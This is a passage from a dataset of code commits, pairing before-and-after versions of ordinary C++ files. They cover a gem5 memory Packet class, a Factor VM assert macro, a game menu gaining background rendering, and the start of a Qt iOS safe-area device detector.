}\n}\n\n\nvoid\nPacket::PrintReqState::printObj(Printable *obj)\n{\n    printLabels();\n    obj->print(os, verbosity, curPrefix());\n}\n<commit_msg>Packet: Remove meaningless assert statement<commit_after>\/*\n * Copyright (c) 2011 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder.  You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2006 The Regents of The University of Michigan\n * Copyright (c) 2010 Advanced Micro Devices, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Ali Saidi\n *          Steve Reinhardt\n *\/\n\n\/**\n * @file\n * Definition of the Packet Class, a packet is a transaction occuring\n * between a single level of the memory heirarchy (ie L1->L2).\n *\/\n\n#include <cstring>\n#include <iostream>\n\n#include \"base\/cprintf.hh\"\n#include \"base\/misc.hh\"\n#include \"base\/trace.hh\"\n#include \"mem\/packet.hh\"\n\nusing namespace std;\n\n\/\/ The one downside to bitsets is that static initializers can get ugly.\n#define SET1(a1)                     (1 << (a1))\n#define SET2(a1, a2)                 (SET1(a1) | SET1(a2))\n#define SET3(a1, a2, a3)             (SET2(a1, a2) | SET1(a3))\n#define SET4(a1, a2, a3, a4)         (SET3(a1, a2, a3) | SET1(a4))\n#define SET5(a1, a2, a3, a4, a5)     (SET4(a1, a2, a3, a4) | SET1(a5))\n#define SET6(a1, a2, a3, a4, a5, a6) (SET5(a1, a2, a3, a4, a5) | SET1(a6))\n\nconst MemCmd::CommandInfo\nMemCmd::commandInfo[] =\n{\n    \/* InvalidCmd *\/\n    { 0, InvalidCmd, \"InvalidCmd\" },\n    \/* ReadReq *\/\n    { SET3(IsRead, IsRequest, NeedsResponse), ReadResp, \"ReadReq\" },\n    \/* ReadResp *\/\n    { SET3(IsRead, IsResponse, HasData), InvalidCmd, \"ReadResp\" },\n    \/* ReadRespWithInvalidate *\/\n    { SET4(IsRead, IsResponse, HasData, IsInvalidate),\n            InvalidCmd, \"ReadRespWithInvalidate\" },\n    \/* WriteReq *\/\n    { SET5(IsWrite, NeedsExclusive, IsRequest, NeedsResponse, HasData),\n            WriteResp, \"WriteReq\" },\n    \/* WriteResp *\/\n    { SET3(IsWrite, NeedsExclusive, IsResponse), InvalidCmd, \"WriteResp\" },\n    \/* Writeback *\/\n    { SET4(IsWrite, NeedsExclusive, IsRequest, HasData),\n            InvalidCmd, \"Writeback\" },\n    \/* SoftPFReq *\/\n    { SET4(IsRead, IsRequest, IsSWPrefetch, NeedsResponse),\n            SoftPFResp, \"SoftPFReq\" },\n    \/* HardPFReq *\/\n    { SET4(IsRead, IsRequest, IsHWPrefetch, NeedsResponse),\n            HardPFResp, \"HardPFReq\" },\n    \/* SoftPFResp *\/\n    { SET4(IsRead, IsResponse, IsSWPrefetch, HasData),\n            InvalidCmd, \"SoftPFResp\" },\n    \/* HardPFResp *\/\n    { SET4(IsRead, IsResponse, IsHWPrefetch, HasData),\n            InvalidCmd, \"HardPFResp\" },\n    \/* WriteInvalidateReq *\/\n    { SET6(IsWrite, NeedsExclusive, IsInvalidate,\n           IsRequest, HasData, NeedsResponse),\n            WriteInvalidateResp, \"WriteInvalidateReq\" },\n    \/* WriteInvalidateResp *\/\n    { SET3(IsWrite, NeedsExclusive, IsResponse),\n            InvalidCmd, \"WriteInvalidateResp\" },\n    \/* UpgradeReq *\/\n    { SET5(IsInvalidate, NeedsExclusive, IsUpgrade, IsRequest, NeedsResponse),\n            UpgradeResp, \"UpgradeReq\" },\n    \/* SCUpgradeReq: response could be UpgradeResp or UpgradeFailResp *\/\n    { SET6(IsInvalidate, NeedsExclusive, IsUpgrade, IsLlsc,\n           IsRequest, NeedsResponse),\n            UpgradeResp, \"SCUpgradeReq\" },\n    \/* UpgradeResp *\/\n    { SET3(NeedsExclusive, IsUpgrade, IsResponse),\n            InvalidCmd, \"UpgradeResp\" },\n    \/* SCUpgradeFailReq: generates UpgradeFailResp ASAP *\/\n    { SET5(IsInvalidate, NeedsExclusive, IsLlsc,\n           IsRequest, NeedsResponse),\n            UpgradeFailResp, \"SCUpgradeFailReq\" },\n    \/* UpgradeFailResp *\/\n    { SET2(NeedsExclusive, IsResponse),\n            InvalidCmd, \"UpgradeFailResp\" },\n    \/* ReadExReq *\/\n    { SET5(IsRead, NeedsExclusive, IsInvalidate, IsRequest, NeedsResponse),\n            ReadExResp, \"ReadExReq\" },\n    \/* ReadExResp *\/\n    { SET4(IsRead, NeedsExclusive, IsResponse, HasData),\n            InvalidCmd, \"ReadExResp\" },\n    \/* LoadLockedReq: note that we use plain ReadResp as response, so that\n     *                we can also use ReadRespWithInvalidate when needed *\/\n    { SET4(IsRead, IsLlsc, IsRequest, NeedsResponse),\n            ReadResp, \"LoadLockedReq\" },\n    \/* StoreCondReq *\/\n    { SET6(IsWrite, NeedsExclusive, IsLlsc,\n           IsRequest, NeedsResponse, HasData),\n            StoreCondResp, \"StoreCondReq\" },\n    \/* StoreCondFailReq: generates failing StoreCondResp ASAP *\/\n    { SET6(IsWrite, NeedsExclusive, IsLlsc,\n           IsRequest, NeedsResponse, HasData),\n            StoreCondResp, \"StoreCondFailReq\" },\n    \/* StoreCondResp *\/\n    { SET4(IsWrite, NeedsExclusive, IsLlsc, IsResponse),\n            InvalidCmd, \"StoreCondResp\" },\n    \/* SwapReq -- for Swap ldstub type operations *\/\n    { SET6(IsRead, IsWrite, NeedsExclusive, IsRequest, HasData, NeedsResponse),\n        SwapResp, \"SwapReq\" },\n    \/* SwapResp -- for Swap ldstub type operations *\/\n    { SET5(IsRead, IsWrite, NeedsExclusive, IsResponse, HasData),\n            InvalidCmd, \"SwapResp\" },\n    \/* IntReq -- for interrupts *\/\n    { SET4(IsWrite, IsRequest, NeedsResponse, HasData),\n        MessageResp, \"MessageReq\" },\n    \/* IntResp -- for interrupts *\/\n    { SET2(IsWrite, IsResponse), InvalidCmd, \"MessageResp\" },\n    \/* NetworkNackError  -- nacked at network layer (not by protocol) *\/\n    { SET2(IsResponse, IsError), InvalidCmd, \"NetworkNackError\" },\n    \/* InvalidDestError  -- packet dest field invalid *\/\n    { SET2(IsResponse, IsError), InvalidCmd, \"InvalidDestError\" },\n    \/* BadAddressError   -- memory address invalid *\/\n    { SET2(IsResponse, IsError), InvalidCmd, \"BadAddressError\" },\n    \/* FunctionalReadError *\/\n    { SET3(IsRead, IsResponse, IsError), InvalidCmd, \"FunctionalReadError\" },\n    \/* FunctionalWriteError *\/\n    { SET3(IsWrite, IsResponse, IsError), InvalidCmd, \"FunctionalWriteError\" },\n    \/* PrintReq *\/\n    { SET2(IsRequest, IsPrint), InvalidCmd, \"PrintReq\" },\n    \/* Flush Request *\/\n    { SET3(IsRequest, IsFlush, NeedsExclusive), InvalidCmd, \"FlushReq\" },\n};\n\nbool\nPacket::checkFunctional(Printable *obj, Addr addr, int size, uint8_t *data)\n{\n    Addr func_start = getAddr();\n    Addr func_end   = getAddr() + getSize() - 1;\n    Addr val_start  = addr;\n    Addr val_end    = val_start + size - 1;\n\n    if (func_start > val_end || val_start > func_end) {\n        \/\/ no intersection\n        return false;\n    }\n\n    \/\/ check print first since it doesn't require data\n    if (isPrint()) {\n        dynamic_cast<PrintReqState*>(senderState)->printObj(obj);\n        return false;\n    }\n\n    \/\/ if there's no data, there's no need to look further\n    if (!data) {\n        return false;\n    }\n\n    \/\/ offset of functional request into supplied value (could be\n    \/\/ negative if partial overlap)\n    int offset = func_start - val_start;\n\n    if (isRead()) {\n        if (func_start >= val_start && func_end <= val_end) {\n            allocate();\n            memcpy(getPtr<uint8_t>(), data + offset, getSize());\n            return true;\n        } else {\n            \/\/ Offsets and sizes to copy in case of partial overlap\n            int func_offset;\n            int val_offset;\n            int overlap_size;\n\n            \/\/ calculate offsets and copy sizes for the two byte arrays\n            if (val_start < func_start && val_end <= func_end) {\n                val_offset = func_start - val_start;\n                func_offset = 0;\n                overlap_size = val_end - func_start;\n            } else if (val_start >= func_start && val_end > func_end) {\n                val_offset = 0;\n                func_offset = val_start - func_start;\n                overlap_size = func_end - val_start;\n            } else if (val_start >= func_start && val_end <= func_end) {\n                val_offset = 0;\n                func_offset = val_start - func_start;\n                overlap_size = size;\n            } else {\n                panic(\"BUG: Missed a case for a partial functional request\");\n            }\n\n            \/\/ Figure out how much of the partial overlap should be copied\n            \/\/ into the packet and not overwrite previously found bytes.\n            if (bytesValidStart == 0 && bytesValidEnd == 0) {\n                \/\/ No bytes have been copied yet, just set indices\n                \/\/ to found range\n                bytesValidStart = func_offset;\n                bytesValidEnd = func_offset + overlap_size;\n            } else {\n                \/\/ Some bytes have already been copied. Use bytesValid\n                \/\/ indices and offset values to figure out how much data\n                \/\/ to copy and where to copy it to.\n\n                \/\/ Indice overlap conditions to check\n                int a = func_offset - bytesValidStart;\n                int b = (func_offset + overlap_size) - bytesValidEnd;\n                int c = func_offset - bytesValidEnd;\n                int d = (func_offset + overlap_size) - bytesValidStart;\n\n                if (a >= 0 && b <= 0) {\n                    \/\/ bytes already in pkt data array are superset of\n                    \/\/ found bytes, will not copy any bytes\n                    overlap_size = 0;\n                } else if (a < 0 && d >= 0 && b <= 0) {\n                    \/\/ found bytes will move bytesValidStart towards 0\n                    overlap_size = bytesValidStart - func_offset;\n                    bytesValidStart = func_offset;\n                } else if (b > 0 && c <= 0 && a >= 0) {\n                    \/\/ found bytes will move bytesValidEnd\n                    \/\/ towards end of pkt data array\n                    overlap_size =\n                        (func_offset + overlap_size) - bytesValidEnd;\n                    val_offset += bytesValidEnd - func_offset;\n                    func_offset = bytesValidEnd;\n                    bytesValidEnd += overlap_size;\n                } else if (a < 0 && b > 0) {\n                    \/\/ Found bytes are superset of copied range. Will move\n                    \/\/ bytesValidStart towards 0 and bytesValidEnd towards\n                    \/\/ end of pkt data array.  Need to break copy into two\n                    \/\/ pieces so as to not overwrite previously found data.\n\n                    \/\/ copy the first half\n                    uint8_t *dest = getPtr<uint8_t>() + func_offset;\n                    uint8_t *src = data + val_offset;\n                    memcpy(dest, src, (bytesValidStart - func_offset));\n\n                    \/\/ re-calc the offsets and indices to do the copy\n                    \/\/ required for the second half\n                    val_offset += (bytesValidEnd - func_offset);\n                    bytesValidStart = func_offset;\n                    overlap_size =\n                        (func_offset + overlap_size) - bytesValidEnd;\n                    func_offset = bytesValidEnd;\n                    bytesValidEnd += overlap_size;\n                } else if ((c > 0 && b > 0)\n                           || (a < 0 && d < 0)) {\n                    \/\/ region to be copied is discontiguous! Not supported.\n                    panic(\"BUG: Discontiguous bytes found\"\n                          \"for functional copying!\");\n                }\n            }\n\n            \/\/ copy partial data into the packet's data array\n            uint8_t *dest = getPtr<uint8_t>() + func_offset;\n            uint8_t *src = data + val_offset;\n            memcpy(dest, src, overlap_size);\n\n            \/\/ check if we're done filling the functional access\n            bool done = (bytesValidStart == 0) && (bytesValidEnd == getSize());\n            return done;\n        }\n    } else if (isWrite()) {\n        if (offset >= 0) {\n            memcpy(data + offset, getPtr<uint8_t>(),\n                   (min(func_end, val_end) - func_start) + 1);\n        } else {\n            \/\/ val_start > func_start\n            memcpy(data, getPtr<uint8_t>() - offset,\n                   (min(func_end, val_end) - val_start) + 1);\n        }\n    } else {\n        panic(\"Don't know how to handle command %s\\n\", cmdString());\n    }\n\n    \/\/ keep going with request by default\n    return false;\n}\n\nvoid\nPacket::print(ostream &o, const int verbosity, const string &prefix) const\n{\n    ccprintf(o, \"%s[%x:%x] %s\\n\", prefix,\n             getAddr(), getAddr() + getSize() - 1, cmdString());\n}\n\nPacket::PrintReqState::PrintReqState(ostream &_os, int _verbosity)\n    : curPrefixPtr(new string(\"\")), os(_os), verbosity(_verbosity)\n{\n    labelStack.push_back(LabelStackEntry(\"\", curPrefixPtr));\n}\n\nPacket::PrintReqState::~PrintReqState()\n{\n    labelStack.pop_back();\n    assert(labelStack.empty());\n    delete curPrefixPtr;\n}\n\nPacket::PrintReqState::\nLabelStackEntry::LabelStackEntry(const string &_label, string *_prefix)\n    : label(_label), prefix(_prefix), labelPrinted(false)\n{\n}\n\nvoid\nPacket::PrintReqState::pushLabel(const string &lbl, const string &prefix)\n{\n    labelStack.push_back(LabelStackEntry(lbl, curPrefixPtr));\n    curPrefixPtr = new string(*curPrefixPtr);\n    *curPrefixPtr += prefix;\n}\n\nvoid\nPacket::PrintReqState::popLabel()\n{\n    delete curPrefixPtr;\n    curPrefixPtr = labelStack.back().prefix;\n    labelStack.pop_back();\n    assert(!labelStack.empty());\n}\n\nvoid\nPacket::PrintReqState::printLabels()\n{\n    if (!labelStack.back().labelPrinted) {\n        LabelStack::iterator i = labelStack.begin();\n        LabelStack::iterator end = labelStack.end();\n        while (i != end) {\n            if (!i->labelPrinted) {\n                ccprintf(os, \"%s%s\\n\", *(i->prefix), i->label);\n                i->labelPrinted = true;\n            }\n            i++;\n        }\n    }\n}\n\n\nvoid\nPacket::PrintReqState::printObj(Printable *obj)\n{\n    printLabels();\n    obj->print(os, verbosity, curPrefix());\n}\n<|endoftext|>"}
{"text":"<commit_before>namespace factor\n{\n    void abort();\n}\n\n#ifdef FACTOR_DEBUG\n#define FACTOR_ASSERT(condition) ((condition) \\\n    ? (void)0 \\\n    : ( \\\n        ::fprintf(stderr, \"assertion \\\"%s\\\" failed: file \\\"%s\\\", line %d\\n\", \\\n            #condition, __FILE__, __LINE__), \\\n        ::factor::abort() \\\n    ))\n#else\n#define FACTOR_ASSERT(condition) ((void)0)\n#endif\n<commit_msg>VM: Refactor assert.hpp to Factor style<commit_after>namespace factor { void abort(); }\n\n#ifdef FACTOR_DEBUG\n#define FACTOR_ASSERT(condition)                                               \\\n  ((condition)                                                                 \\\n       ? (void) 0                                                              \\\n       : (::fprintf(stderr, \"assertion \\\"%s\\\" failed: file \\\"%s\\\", line %d\\n\", \\\n                    #condition, __FILE__, __LINE__),                           \\\n          ::factor::abort()))\n#else\n#define FACTOR_ASSERT(condition) ((void) 0)\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>INTEGRATION: CWS aw024 (1.51.50); FILE MERGED 2006\/09\/08 18:50:33 aw 1.51.50.4: RESYNC: (1.53-1.54); FILE MERGED 2006\/05\/12 21:09:28 aw 1.51.50.3: RESYNC: (1.52-1.53); FILE MERGED 2005\/09\/17 17:01:00 aw 1.51.50.2: RESYNC: (1.51-1.52); FILE MERGED 2005\/05\/19 12:15:13 aw 1.51.50.1: #i39529#<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"menu\/menu.h\"\n#include \"menu\/menu_option.h\"\n#include \"util\/bitmap.h\"\n#include \"util\/funcs.h\"\n#include \"util\/keyboard.h\"\n#include \"util\/sound.h\"\n#include \"util\/token.h\"\n#include \"util\/tokenreader.h\"\n#include \"globals.h\"\n#include \"init.h\"\n#include \"music.h\"\n\n#include <queue>\n\nBitmap *Menu::work = Bitmap::Screen;\n\nstatic std::string lastPlayed = \"\";\n\nstatic std::queue<MenuOption *> backgrounds;\n\nMenu::Menu() : music(\"\")\n{\n}\n\nvoid Menu::load(Token *token)throw( LoadException )\n{\n\ttry \n\t{\n\t\tif ( *token != \"menu\" )\n\t\t\tthrow LoadException(\"Not a menu\");\n\n\t\twhile ( token->hasTokens() )\n\t\t{\n\n\t\t\tToken * tok;\n\t\t\t*token >> tok;\n\t\t\tif ( *tok == \"music\" )\n\t\t\t{\n\t\t\t\t\/\/ Set music\n\t\t\t\t*tok >> music;\n\t\t\t} \n\t\t\telse if ( *tok == \"background\" )\n\t\t\t{\n\t\t\t\t\/\/ Create new background and push onto the stack\n\t\t\t\t\/\/background = new obj() <-- D:\n\t\t\t\t\n\t\t\t\tbackgrounds.push(background);\n\t\t\t}\n\t\t\telse if ( *tok == \"menu\" )\n\t\t\t{\n\t\t\t\t\/\/ Create a menu option ie options, controller config, adventure, versus, credits, etc\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\tcout<<\"Unhandled menu attribute: \"<<endl;\n\t\t\t\ttok->print(\" \");\n\t\t\t}\n\t\t}\n\n\t} \n\tcatch ( const TokenException & ex )\n\t{\n\t\t\/\/ delete current;\n\t\tstring m( \"Menu parse error: \" );\n\t\tm += ex.getReason();\n\t\tthrow LoadException( m );\n\t} \n\tcatch ( const LoadException & ex )\n\t{\n\t\t\/\/ delete current;\n\t\tthrow ex;\n\t}\n\t\n\tif(backgrounds.empty())throw LoadException(\"There should be at least one background in the entire menu!\");\n\t\n}\n\nvoid Menu::load(const std::string &filename)throw( LoadException )\n{\n\t\/\/ Must check for initial token, menu\n\tTokenReader tr( filename );\n\n\t\/\/ Token * current = tr.readToken();\n\tToken * token = tr.readToken();\n\tload(token);\n}\n\nvoid Menu::run() throw(ReturnException)\n{\n\t\n\tKeyboard key;\n\t\n\tBitmap screen_buffer( 320, 240 );\n\tbool done = false;\n\tbool endGame = false;\n\t\n\tif(menuOptions.empty())throw ReturnException();\n\tselectedOption = menuOptions.begin();\n\t\n\twhile( !endGame )\n\t{\n\t\tGlobal::speed_counter = 0;\n\t\tGlobal::second_counter = 0;\n\t\tint game_time = 100;\n\t\t\n\t\tif(music != \"\" && music != lastPlayed)\n\t\t{\n\t\t\tMusic::pause();\n\t\t\tMusic::fadeIn( 0.3 );\n\t\t\tMusic::loadSong( Util::getDataPath() + music );\n\t\t\tMusic::play();\n\t\t\tlastPlayed = music;\n\t\t}\n\t\twhile ( ! done && (*selectedOption)->getState() != MenuOption::Run ){\n\t\n\t\t\tbool draw = false;\n\t\t\tkey.poll();\n\t\n\t\t\tif ( Global::speed_counter > 0 )\n\t\t\t{\n\t\t\t\tdraw = true;\n\t\t\t\t\/\/ Keys\n\t\t\t\t\n\t\t\t\t\/\/ Logic\n\t\t\t\tstd::vector <MenuOption *>::iterator b = menuOptions.begin();\n\t\t\t\tstd::vector <MenuOption *>::iterator e = menuOptions.end();\n\t\t\t\tfor(;b!=e;++b)\n\t\t\t\t{\n\t\t\t\t\t(*b)->logic();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tGlobal::speed_counter = 0;\n\t\t\t}\n\t\t\t\n\t\t\twhile ( Global::second_counter > 0 )\n\t\t\t{\n\t\t\t\tgame_time--;\n\t\t\t\tGlobal::second_counter--;\n\t\t\t\tif ( game_time < 0 )\n\t\t\t\t\tgame_time = 0;\n\t\t\t}\n\t\t\n\t\t\tif ( draw )\n\t\t\t{\n\t\t\t\t\/\/ Draw\n\t\t\t\tstd::vector <MenuOption *>::iterator b = menuOptions.begin();\n\t\t\t\tstd::vector <MenuOption *>::iterator e = menuOptions.end();\n\t\t\t\tfor(;b!=e;++b)\n\t\t\t\t{\n\t\t\t\t\t(*b)->draw(work);\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\twhile ( Global::speed_counter < 1 )\n\t\t\t{\n\t\t\t\tUtil::rest( 1 );\n\t\t\t\tkey.poll();\n\t\t\t}\n\t\n\t\t\tdone |= key[ Keyboard::Key_ESC ];\n\t\t}\n\t\t\n\t\t\/\/ do we got an option to run, lets do it\n\t\tif((*selectedOption)->getState() == MenuOption::Run)\n\t\t{\n\t\t\t(*selectedOption)->run(endGame);\n\t\t\t\/\/ Reset it's state\n\t\t\t(*selectedOption)->setState(MenuOption::Selected);\n\t\t\t\/\/  pop out any backgrounds pushed onto the stack reseting it to the old one if applicable\n\t\t\tif(backgrounds.size() >= 2)\n\t\t\t{\n\t\t\t\tdelete backgrounds.front();\n\t\t\t\tbackgrounds.pop();\n\t\t\t\tbackground = backgrounds.front();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid Menu::setBitmap(Bitmap *bmp)\n{\n\twork = bmp;\n}\n\nMenu::~Menu()\n{\n\t\/\/ cleanup\n\tstd::vector <MenuOption *>::iterator b = menuOptions.begin();\n\tstd::vector <MenuOption *>::iterator e = menuOptions.end();\n\tfor(;b!=e;++b)\n\t{\n\t\tif((*b))delete (*b);\n\t}\n}\n\n<commit_msg>menu backgrounds<commit_after>#include \"menu\/menu.h\"\n#include \"menu\/menu_option.h\"\n#include \"util\/bitmap.h\"\n#include \"util\/funcs.h\"\n#include \"util\/keyboard.h\"\n#include \"util\/sound.h\"\n#include \"util\/token.h\"\n#include \"util\/tokenreader.h\"\n#include \"globals.h\"\n#include \"init.h\"\n#include \"music.h\"\n\n#include <queue>\n\nBitmap *Menu::work = Bitmap::Screen;\n\nstatic std::string lastPlayed = \"\";\n\nstatic std::queue<MenuOption *> backgrounds;\n\nMenu::Menu() : music(\"\")\n{\n}\n\nvoid Menu::load(Token *token)throw( LoadException )\n{\n\ttry \n\t{\n\t\tif ( *token != \"menu\" )\n\t\t\tthrow LoadException(\"Not a menu\");\n\n\t\twhile ( token->hasTokens() )\n\t\t{\n\n\t\t\tToken * tok;\n\t\t\t*token >> tok;\n\t\t\tif ( *tok == \"music\" )\n\t\t\t{\n\t\t\t\t\/\/ Set music\n\t\t\t\t*tok >> music;\n\t\t\t} \n\t\t\telse if ( *tok == \"background\" )\n\t\t\t{\n\t\t\t\t\/\/ Create new background and push onto the stack\n\t\t\t\t\/\/background = new obj() <-- D:\n\t\t\t\t\n\t\t\t\tbackgrounds.push(background);\n\t\t\t}\n\t\t\telse if ( *tok == \"menu\" )\n\t\t\t{\n\t\t\t\t\/\/ Create a menu option ie options, controller config, adventure, versus, credits, etc\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\tcout<<\"Unhandled menu attribute: \"<<endl;\n\t\t\t\ttok->print(\" \");\n\t\t\t}\n\t\t}\n\n\t} \n\tcatch ( const TokenException & ex )\n\t{\n\t\t\/\/ delete current;\n\t\tstring m( \"Menu parse error: \" );\n\t\tm += ex.getReason();\n\t\tthrow LoadException( m );\n\t} \n\tcatch ( const LoadException & ex )\n\t{\n\t\t\/\/ delete current;\n\t\tthrow ex;\n\t}\n\t\n\tif(backgrounds.empty())throw LoadException(\"There should be at least one background in the entire menu!\");\n\t\n}\n\nvoid Menu::load(const std::string &filename)throw( LoadException )\n{\n\t\/\/ Must check for initial token, menu\n\tTokenReader tr( filename );\n\n\t\/\/ Token * current = tr.readToken();\n\tToken * token = tr.readToken();\n\tload(token);\n}\n\nvoid Menu::run() throw(ReturnException)\n{\n\t\n\tKeyboard key;\n\t\n\tBitmap screen_buffer( 320, 240 );\n\tbool done = false;\n\tbool endGame = false;\n\t\n\tif(menuOptions.empty())throw ReturnException();\n\tselectedOption = menuOptions.begin();\n\t\n\twhile( !endGame )\n\t{\n\t\tGlobal::speed_counter = 0;\n\t\tGlobal::second_counter = 0;\n\t\tint game_time = 100;\n\t\t\n\t\tif(music != \"\" && music != lastPlayed)\n\t\t{\n\t\t\tMusic::pause();\n\t\t\tMusic::fadeIn( 0.3 );\n\t\t\tMusic::loadSong( Util::getDataPath() + music );\n\t\t\tMusic::play();\n\t\t\tlastPlayed = music;\n\t\t}\n\t\twhile ( ! done && (*selectedOption)->getState() != MenuOption::Run ){\n\t\n\t\t\tbool draw = false;\n\t\t\tkey.poll();\n\t\n\t\t\tif ( Global::speed_counter > 0 )\n\t\t\t{\n\t\t\t\tdraw = true;\n\t\t\t\t\/\/ Keys\n\t\t\t\t\n\t\t\t\t\/\/ Logic\n\t\t\t\tbackground->logic();\n\t\t\t\t\n\t\t\t\tstd::vector <MenuOption *>::iterator b = menuOptions.begin();\n\t\t\t\tstd::vector <MenuOption *>::iterator e = menuOptions.end();\n\t\t\t\tfor(;b!=e;++b)\n\t\t\t\t{\n\t\t\t\t\t(*b)->logic();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tGlobal::speed_counter = 0;\n\t\t\t}\n\t\t\t\n\t\t\twhile ( Global::second_counter > 0 )\n\t\t\t{\n\t\t\t\tgame_time--;\n\t\t\t\tGlobal::second_counter--;\n\t\t\t\tif ( game_time < 0 )\n\t\t\t\t\tgame_time = 0;\n\t\t\t}\n\t\t\n\t\t\tif ( draw )\n\t\t\t{\n\t\t\t\t\/\/ Draw\n\t\t\t\tbackground->draw(work);\n\t\t\t\t\n\t\t\t\tstd::vector <MenuOption *>::iterator b = menuOptions.begin();\n\t\t\t\tstd::vector <MenuOption *>::iterator e = menuOptions.end();\n\t\t\t\tfor(;b!=e;++b)\n\t\t\t\t{\n\t\t\t\t\t(*b)->draw(work);\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\twhile ( Global::speed_counter < 1 )\n\t\t\t{\n\t\t\t\tUtil::rest( 1 );\n\t\t\t\tkey.poll();\n\t\t\t}\n\t\n\t\t\tdone |= key[ Keyboard::Key_ESC ];\n\t\t}\n\t\t\n\t\t\/\/ do we got an option to run, lets do it\n\t\tif((*selectedOption)->getState() == MenuOption::Run)\n\t\t{\n\t\t\t(*selectedOption)->run(endGame);\n\t\t\t\/\/ Reset it's state\n\t\t\t(*selectedOption)->setState(MenuOption::Selected);\n\t\t\t\/\/  pop out any backgrounds pushed onto the stack reseting it to the old one if applicable\n\t\t\tif(backgrounds.size() >= 2)\n\t\t\t{\n\t\t\t\tdelete backgrounds.front();\n\t\t\t\tbackgrounds.pop();\n\t\t\t\tbackground = backgrounds.front();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid Menu::setBitmap(Bitmap *bmp)\n{\n\twork = bmp;\n}\n\nMenu::~Menu()\n{\n\t\/\/ cleanup\n\tstd::vector <MenuOption *>::iterator b = menuOptions.begin();\n\tstd::vector <MenuOption *>::iterator e = menuOptions.end();\n\tfor(;b!=e;++b)\n\t{\n\t\tif((*b))delete (*b);\n\t}\n\t\n\twhile(!backgrounds.empty())\n\t{\n\t\tdelete backgrounds.front();\n\t\tbackgrounds.pop();\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"unsafearea.hpp\"\n\n#include <QDebug>\n\nUnsafeArea::UnsafeArea(QObject *parent) :\n    QObject(parent), mUnsafeTopMargin(0), mUnsafeBottomMargin(0), mUnsafeLeftMargin(0), mUnsafeRightMargin(0), mMyDevice(MyDevice::OTHER)\n{ \n\n}\n\n\/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-64574\n\/\/ I O S sizes to detect the device type\n\/\/ https:\/\/stackoverflow.com\/questions\/46192280\/detect-if-the-device-is-iphone-x\n\/\/ 1136 iPhone 5, 5S, 5C\n\/\/ 1334 iPhone 6\/6S\/7\/8\n\/\/ 1920,2208 iPhone 6+\/6S+\/7+\/8+\n\/\/ 2436 iPhone X, Xs\n\/\/ 2688 iPhone Xs Max\n\/\/ 1792 iPhone Xr\n\/\/ https:\/\/developer.apple.com\/library\/archive\/documentation\/DeviceInformation\/Reference\/iOSDeviceCompatibility\/Displays\/Displays.html\nvoid UnsafeArea::configureDevice(int height, int width, int devicePixelRatio)\n{\n    qDebug() << \"UNSAFE AREAS ? configureDevice - height: \" << height << \" width: \" << width << \" devicePixelRatio: \" << devicePixelRatio;\n    int portraitHeightPixel = 0;\n    if(height > width) {\n        portraitHeightPixel = height*devicePixelRatio;\n    } else {\n        portraitHeightPixel = width*devicePixelRatio;\n    }\n    switch (portraitHeightPixel) {\n    case 1136:\n        mMyDevice = MyDevice::IPHONE_5_5S_5C;\n        qDebug() << \"Device detected: \" << \"IPHONE_5_5S_5C\";\n        break;\n    case 1334:\n        mMyDevice = MyDevice::IPHONE_6_6S_7_8;\n        qDebug() << \"Device detected: \" << \"IPHONE_6_6S_7_8\";\n        break;\n    case 1920:\n    case 2208:\n        mMyDevice = MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS;\n        qDebug() << \"Device detected: \" << \"IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS\";\n        break;\n    case 2436:\n        mMyDevice = MyDevice::IPHONE_X_XS;\n        qDebug() << \"Device detected: \" << \"IPHONE_X_XS\";\n        break;\n    case 2688:\n        mMyDevice = MyDevice::IPHONE_XSMAX;\n        qDebug() << \"Device detected: \" << \"IPHONE_XSMAX\";\n        break;\n    case 1792:\n        mMyDevice = MyDevice::IPHONE_XR;\n        qDebug() << \"Device detected: \" << \"IPHONE_XR\";\n        break;\n    case 2732:\n        mMyDevice = MyDevice::IPADPRO_129;\n        qDebug() << \"Device detected: \" 